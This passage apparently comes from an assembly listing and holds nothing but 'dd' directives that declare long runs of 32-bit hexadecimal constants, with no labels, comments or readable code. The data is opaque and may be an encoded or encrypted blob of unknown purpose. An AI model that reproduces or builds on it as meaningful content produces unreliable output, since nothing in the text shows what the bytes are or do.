		dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh
		dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch
		dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h
		dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h
		dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h
		dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h
		dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh
		dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h
		dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h,	310157FDh
		dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h,	53B858h
		dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h
		dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h,	604485A7h
		dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h
		dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h,	0B35300DDh
		dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh
		dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h
		dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h
		dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah
		dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh
		dd 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h
		dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh,	0D9754F01h
		dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h,	373FE828h
		dd 1AC758h, 0EC99EA24h,	5FA858h, 264C4442h, 5B2DAF53h
		dd 0E094D500h, 3B1C98C4h
		dd 74F9A0BEh, 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h
		dd 89652E7Ah, 545E0B24h, 360040D0h, 0E40594B1h,	7E75D40Eh
		dd 81CC3A1h, 4842C020h,	50EEA6h, 19D0DC7Ch, 0D3245303h
		dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h
		dd 5F39DB31h, 0D8E2B0h,	7E1DFD94h, 7CF60542h, 82000EE6h
		dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h
		dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h,	0AFC8A500h
		dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h,	0E0E8515Fh
		dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h
		dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh
		dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh
		dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h
		dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h
		dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h
		dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h,	88B3638Ah
		dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch
		dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh
		dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh
		dd 0FEA7132h, 7607B91h,	149500D7h, 0AAD504F0h, 0F7303Bh
		dd 5BDE97D1h, 107EB8Bh,	5DC9CAD4h, 0E8871067h, 0D50027E9h
		dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh
		dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah
		dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah
		dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h
		dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h,	1877F2h
		dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h
		dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh,	44704Eh
		dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h
		dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h
		dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h,	8E700EF9h
		dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h,	5F697D02h
		dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h,	71000C9Bh
		dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h,	61776D55h
		dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch
		dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh,	66F1404Dh
		dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch
		dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h
		dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h
		dd 74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh
		dd 429E0078h, 13048FEh,	6A0E654Bh, 0C7636961h, 0D3E128C0h
		dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh,	95073052h
		dd 1447CA1Ch, 3741150h,	61670046h, 60886376h, 8BA05677h
		dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h
		dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h,	3140E65h
		dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h,	613A71h
		dd 1C0696Bh, 7A7B6DCBh,	0B7C24400h, 5A0D10DCh, 0E01C7AE1h
		dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h
		dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh
		dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h
		dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h
		dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h,	61C40775h
		dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h
		dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h,	24007CB5h
		dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h,	9178C912h
		dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h,	7481644Fh
		dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h,	262FE175h
		dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h
		dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh
		dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch,	0B140A8h
		dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h,	1BE82654h
		dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h
		dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h,	7A768B25h
		dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh,	1100B8D3h
		dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h
		dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h,	0A556EC00h
		dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh
		dd 25378AAh, 8CA82F21h,	436084DBh, 0FC7A46E9h, 930157F0h
		dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh
		dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch
		dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h
		dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h
		dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h
		dd 365097h, 0D9028E0Fh,	0C80F6CADh, 40160615h, 0EA9674Ch
		dd 11758Dh, 0B7987827h,	0C514D885h, 3C958700h, 0A15DAF9Fh
		dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h,	47823C5Eh
		dd 1B66A12h, 7F17FB56h,	851EC422h, 0BC49403h, 0D0763F0Fh
		dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h
		dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h
		dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h
		dd 14546C6h, 6EB029DEh,	0C8305399h, 2600567Eh, 82502D13h
		dd 259C7DDh, 44B3D375h,	0D3C095BAh, 400A58Dh, 4FF53FEAh
		dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh
		dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h
		dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh
		dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h
		dd 1CBA2F13h, 3455251h,	87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh
		dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah
		dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh
		dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h
		dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h
		dd 9E30E4BCh, 0D31840h,	244C283h, 0DCA12550h, 805D203Eh
		dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h
		dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h
		dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh,	821B4E42h
		dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh,	0B4B00092h
		dd 837825E9h, 46EC600h,	0E0EB72B6h, 7C75038Eh, 14AEA1A8h
		dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h
		dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h
		dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh
		dd 690C16EBh, 30B3B00h,	24CF2BCAh, 0DF8A006Fh, 0AE4927Ch
		dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h
		dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h,	96E60025h
		dd 0D4DDC30Ch, 80072089h
		dd 1DC0267Bh, 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh
		dd 450C532Ch, 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh
		dd 0A8517A00h, 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h
		dd 3FE5F685h, 7031188h,	0A4BC625Ch, 0E08DF7AEh,	0A9841D6h
		dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh
		dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h
		dd 8158CA2h, 2B7D4F0Ch,	28783F03h, 0A90C5820h, 63C510AFh
		dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h
		dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh
		dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h
		dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h,	0A391F004h
		dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h
		dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h
		dd 21B9F58h, 9C18153Bh,	1254E047h, 0C550001h, 9FAD0575h
		dd 161F8AF4h, 8414258h,	1A91CB03h, 0AF46FCh, 0B454BF2Ah
		dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh
		dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch,	0FAD0FB04h
		dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h
		dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h
		dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh
		dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h
		dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h
		dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h
		dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h,	68E8EB85h
		dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h,	0BAF5784Ah
		dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h,	0A9840003h
		dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h
		dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h
		dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h
		dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h
		dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h
		dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h
		dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch,	0EBE09237h
		dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h
		dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch,	0D1242EFAh
		dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h,	3A0075B8h
		dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh
		dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h
		dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h,	688E0E8Ch
		dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h
		dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h
		dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h
		dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h
		dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h,	9E140E12h
		dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h
		dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh
		dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h
		dd 0AE7F7Fh, 47498476h,	88D6CB55h, 23517100h, 54B88A3Eh
		dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h
		dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h
		dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h
		dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh,	0ABF00798h
		dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h
		dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h
		dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h
		dd 342D220Dh, 85000CCh,	0DED4BA04h, 0B400E542h,	6B1CDAB6h
		dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h,	920034F5h
		dd 1C5815D1h, 0E3AC6Eh,	8F433614h, 8C9C46A2h, 8A40F101h
		dd 814A3B08h, 603D840h,	428D0050h, 4D98EA0Ah, 2900E8F0h
		dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch,	0B3AE8C0Dh
		dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h,	22B5780Fh
		dd 2FA4035h, 0F3F4CB8h,	2FBF0142h, 53A22A00h, 33001034h
		dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh,	0F586E34h
		dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h
		dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch,	95845D85h
		dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh
		dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h
		dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh
		dd 4F77042h, 4F5C2A6Ah,	300D1FD0h, 0B01C8700h, 1F625FD6h
		dd 0E651C8h, 702EC949h,	0A10378BAh, 0A3015785h,	954ED020h
		dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h
		dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh,	0C62D4B9Bh
		dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh
		dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h
		dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh
		dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah
		dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah
		dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h
		dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h
		dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h
		dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h
		dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh
		dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h,	0E80FEC00h
		dd 945E6A0Dh, 41FD301h,	1CBE6096h, 31FCBD40h, 4C5001C0h
		dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh
		dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h,	86EA015Eh
		dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h
		dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h
		dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch
		dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h,	4FC8D53h
		dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh
		dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch,	0E9098082h
		dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h
		dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah
		dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h,	43F8484Dh
		dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h,	7C080C2Ch
		dd 3B4C980h, 2B1F4BD6h,	0B0000A60h, 0C8022E18h,	3F800F06h
		dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h
		dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h,	0C780D231h
		dd 0F7E2C8h, 4101028Ah,	0F686140Bh, 7570E000h, 0DE3C58F2h
		dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h
		dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h,	612BC889h
		dd 817A4400h, 586A07E2h
		dd 0F0C43FE4h, 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h
		dd 1C9EBA3h, 39F00A7Bh,	0ECC156CCh, 0BC00FA04h,	869460A0h
		dd 0EDEF69Dh, 3FAC8313h, 0D089AD00h, 807DCDEBh,	0A8201E00h
		dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h
		dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h,	0E072500h
		dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h,	0E03906ADh
		dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h
		dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h
		dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h
		dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h,	0DFBBF3h
		dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h
		dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah,	91FCE340h
		dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h
		dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h,	0EC0DC402h
		dd 318E800h, 3C836F11h,	0B91200A1h, 0B1437194h,	76003689h
		dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh
		dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h
		dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch,	5FB7DA36h
		dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh,	34801E1Ch
		dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h
		dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h
		dd 171EB4Ch, 8C66C700h,	8304A8D8h, 0EAE90010h, 0C3FA3265h
		dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h
		dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh
		dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h
		dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah,	0B5408300h
		dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h
		dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh
		dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh
		dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh
		dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h
		dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh
		dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h
		dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h
		dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh,	8624FF00h
		dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh
		dd 0F207E688h, 97D36Bh,	51759BB4h, 1457C922h, 0A2199513h
		dd 0FBEE12h, 4CBBD4DEh,	600F713h, 560B245Bh, 1CCB3A73h
		dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch
		dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h
		dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h,	9536D0D6h
		dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h
		dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh,	8D402E59h
		dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h,	0F6D2AC75h
		dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h
		dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h,	0EF8F17Ch
		dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h
		dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h
		dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h,	2E855274h
		dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h
		dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh,	0F4285E4h
		dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h
		dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h,	50101560h
		dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah
		dd 121F71D1h, 2B50296h,	89F4F287h, 0CAC00D14h, 680084E9h
		dd 0A177EA90h, 490894h,	143EA259h, 0A30C6674h, 314F300Eh
		dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h
		dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h
		dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h
		dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah
		dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h
		dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
